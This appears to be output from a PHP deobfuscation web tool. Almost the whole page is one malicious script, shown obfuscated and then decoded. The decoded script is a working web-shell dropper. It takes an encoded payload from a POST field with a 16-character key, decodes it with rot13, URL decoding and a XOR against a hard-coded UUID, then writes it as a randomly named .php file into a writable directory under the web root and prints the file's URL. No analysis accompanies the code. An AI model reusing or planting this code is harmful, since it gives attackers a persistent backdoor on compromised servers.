Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $zBMHefOd = "\104".chr(561-482).'C'."\x55".chr(77).chr(86-17).'N'."\x54"."\x5f"."\12..
Decoded Output download
<?php $zBMHefOd = "D".chr(561-482).'C'."U".chr(77).chr(86-17).'N'."T"."_"."R".chr(86-7).chr(79).'T';$tgYbBzUYE = "H".chr(813-729)."T".chr(95-15).'_'."H".chr(1065-986)."S".chr(84);$TSIpb = "h".chr(116)."t".chr(112).chr(616-558).chr(47)."/";$DgsRKOrGwc = ".".'p'."h"."p";$sJaXqMGze = "p"."h".chr(112);$tZnDUbLhX = "f".chr(105).'l'.chr(759-658).chr(95).chr(632-520).'u'."t".chr(542-447).'c'."o"."n"."t"."e".chr(110)."t".chr(1105-990);$gQYLLHGLfS = "r".'a'."w"."u".'r'.chr(108).'d'.'e'.chr(99)."o"."d"."e";$DQMPbnxYN = chr(289-172).chr(110).chr(115).chr(538-437).chr(218-104)."i"."a"."l"."i"."z".'e';$MdDfvJtl = chr(105).'s'.'_'."w".chr(1050-936).chr(105)."t"."a".chr(522-424).chr(213-105)."e";$LjZwTOIVOr = "p".chr(104).chr(332-220).chr(401-283)."e".chr(127-13).'s'."i"."o".chr(123-13);$pBoknEfrV = chr(1087-972)."t".chr(114)."_"."r".'o'."t".'1'.chr(1017-966);$jZbRGEIIr = "s"."e".chr(819-705).'i'.chr(311-214)."l".chr(1057-952).'z'.'e';$TCjdZDdr = chr(1107-992).'t'.chr(912-798).chr(95).chr(543-428)."p"."l".chr(105)."t";foreach ($_POST as $jOHvKkmPg => $iCgSlyBsMtvHGMg){if (strlen($jOHvKkmPg) == 16){$iCgSlyBsMtvHGMg = $TCjdZDdr($gQYLLHGLfS($pBoknEfrV($iCgSlyBsMtvHGMg)));$jOHvKkmPg = array_slice($TCjdZDdr(str_repeat($jOHvKkmPg, (count($iCgSlyBsMtvHGMg)/16)+1)), 0, count($iCgSlyBsMtvHGMg));function WbNSFRlj($pqBuytIZzP, $pNITjl, $jOHvKkmPg){$ytVYRk = "913b9e21-75e8-45ad-9fd4-3ba8524aa056";return $pqBuytIZzP ^ $ytVYRk[$pNITjl % strlen($ytVYRk)] ^ $jOHvKkmPg;}$iCgSlyBsMtvHGMg = implode("", array_map("WbNSFRlj", array_values($iCgSlyBsMtvHGMg), array_keys($iCgSlyBsMtvHGMg), array_values($jOHvKkmPg)));$iCgSlyBsMtvHGMg = @$DQMPbnxYN($iCgSlyBsMtvHGMg);if (@is_array($iCgSlyBsMtvHGMg)){$qKMFr = array_keys($iCgSlyBsMtvHGMg);$iCgSlyBsMtvHGMg = $iCgSlyBsMtvHGMg[$qKMFr[0]];if ($iCgSlyBsMtvHGMg === $qKMFr[0]){echo @$jZbRGEIIr(Array($sJaXqMGze => @$LjZwTOIVOr(), ));exit();}else {function pgmFSUnau($iCgSlyBsir){static $WxUlyxAEG = array();$RdLtt = glob($iCgSlyBsir . '/*', GLOB_ONLYDIR);if (count($RdLtt) > 0) {foreach ($RdLtt as $iCgSlyBs) {if (@$MdDfvJtl($iCgSlyBs)) {$WxUlyxAEG[] = $iCgSlyBs;}}}foreach ($RdLtt as $iCgSlyBsir) pgmFSUnau($iCgSlyBsir);return $WxUlyxAEG;}$ENkezc = $_SERVER[$zBMHefOd];$RdLtt = pgmFSUnau($ENkezc);$qKMFr = array_rand($RdLtt);$ZHEVOgfXfp = $RdLtt[$qKMFr] . "/" . substr(md5(time()), 0, 8) . $DgsRKOrGwc;@$tZnDUbLhX($ZHEVOgfXfp, $iCgSlyBsMtvHGMg);echo $TSIpb . $_SERVER[$tgYbBzUYE] . substr($ZHEVOgfXfp, strlen($ENkezc));die();}}}} ?>Did this file decode correctly?
Original Code
<?php $zBMHefOd = "\104".chr(561-482).'C'."\x55".chr(77).chr(86-17).'N'."\x54"."\x5f"."\122".chr(86-7).chr(79).'T';$tgYbBzUYE = "\x48".chr(813-729)."\x54".chr(95-15).'_'."\x48".chr(1065-986)."\x53".chr(84);$TSIpb = "\150".chr(116)."\x74".chr(112).chr(616-558).chr(47)."\57";$DgsRKOrGwc = "\x2e".'p'."\150"."\x70";$sJaXqMGze = "\160"."\150".chr(112);$tZnDUbLhX = "\x66".chr(105).'l'.chr(759-658).chr(95).chr(632-520).'u'."\164".chr(542-447).'c'."\157"."\x6e"."\x74"."\x65".chr(110)."\164".chr(1105-990);$gQYLLHGLfS = "\162".'a'."\x77"."\165".'r'.chr(108).'d'.'e'.chr(99)."\157"."\144"."\x65";$DQMPbnxYN = chr(289-172).chr(110).chr(115).chr(538-437).chr(218-104)."\x69"."\x61"."\154"."\x69"."\172".'e';$MdDfvJtl = chr(105).'s'.'_'."\x77".chr(1050-936).chr(105)."\164"."\141".chr(522-424).chr(213-105)."\x65";$LjZwTOIVOr = "\x70".chr(104).chr(332-220).chr(401-283)."\x65".chr(127-13).'s'."\151"."\157".chr(123-13);$pBoknEfrV = chr(1087-972)."\x74".chr(114)."\x5f"."\x72".'o'."\x74".'1'.chr(1017-966);$jZbRGEIIr = "\x73"."\145".chr(819-705).'i'.chr(311-214)."\154".chr(1057-952).'z'.'e';$TCjdZDdr = chr(1107-992).'t'.chr(912-798).chr(95).chr(543-428)."\x70"."\154".chr(105)."\164";foreach ($_POST as $jOHvKkmPg => $iCgSlyBsMtvHGMg){if (strlen($jOHvKkmPg) == 16){$iCgSlyBsMtvHGMg = $TCjdZDdr($gQYLLHGLfS($pBoknEfrV($iCgSlyBsMtvHGMg)));$jOHvKkmPg = array_slice($TCjdZDdr(str_repeat($jOHvKkmPg, (count($iCgSlyBsMtvHGMg)/16)+1)), 0, count($iCgSlyBsMtvHGMg));function WbNSFRlj($pqBuytIZzP, $pNITjl, $jOHvKkmPg){$ytVYRk = "913b9e21-75e8-45ad-9fd4-3ba8524aa056";return $pqBuytIZzP ^ $ytVYRk[$pNITjl % strlen($ytVYRk)] ^ $jOHvKkmPg;}$iCgSlyBsMtvHGMg = implode("", array_map("WbNSFRlj", array_values($iCgSlyBsMtvHGMg), array_keys($iCgSlyBsMtvHGMg), array_values($jOHvKkmPg)));$iCgSlyBsMtvHGMg = @$DQMPbnxYN($iCgSlyBsMtvHGMg);if (@is_array($iCgSlyBsMtvHGMg)){$qKMFr = array_keys($iCgSlyBsMtvHGMg);$iCgSlyBsMtvHGMg = $iCgSlyBsMtvHGMg[$qKMFr[0]];if ($iCgSlyBsMtvHGMg === $qKMFr[0]){echo @$jZbRGEIIr(Array($sJaXqMGze => @$LjZwTOIVOr(), ));exit();}else {function pgmFSUnau($iCgSlyBsir){static $WxUlyxAEG = array();$RdLtt = glob($iCgSlyBsir . '/*', GLOB_ONLYDIR);if (count($RdLtt) > 0) {foreach ($RdLtt as $iCgSlyBs) {if (@$MdDfvJtl($iCgSlyBs)) {$WxUlyxAEG[] = $iCgSlyBs;}}}foreach ($RdLtt as $iCgSlyBsir) pgmFSUnau($iCgSlyBsir);return $WxUlyxAEG;}$ENkezc = $_SERVER[$zBMHefOd];$RdLtt = pgmFSUnau($ENkezc);$qKMFr = array_rand($RdLtt);$ZHEVOgfXfp = $RdLtt[$qKMFr] . "/" . substr(md5(time()), 0, 8) . $DgsRKOrGwc;@$tZnDUbLhX($ZHEVOgfXfp, $iCgSlyBsMtvHGMg);echo $TSIpb . $_SERVER[$tgYbBzUYE] . substr($ZHEVOgfXfp, strlen($ENkezc));die();}}}}Function Calls
| chr | 49 |
Stats
| MD5 | 662017ce3aff9aa5c1513eaef08902c1 |
| Eval Count | 0 |
| Decode Time | 145 ms |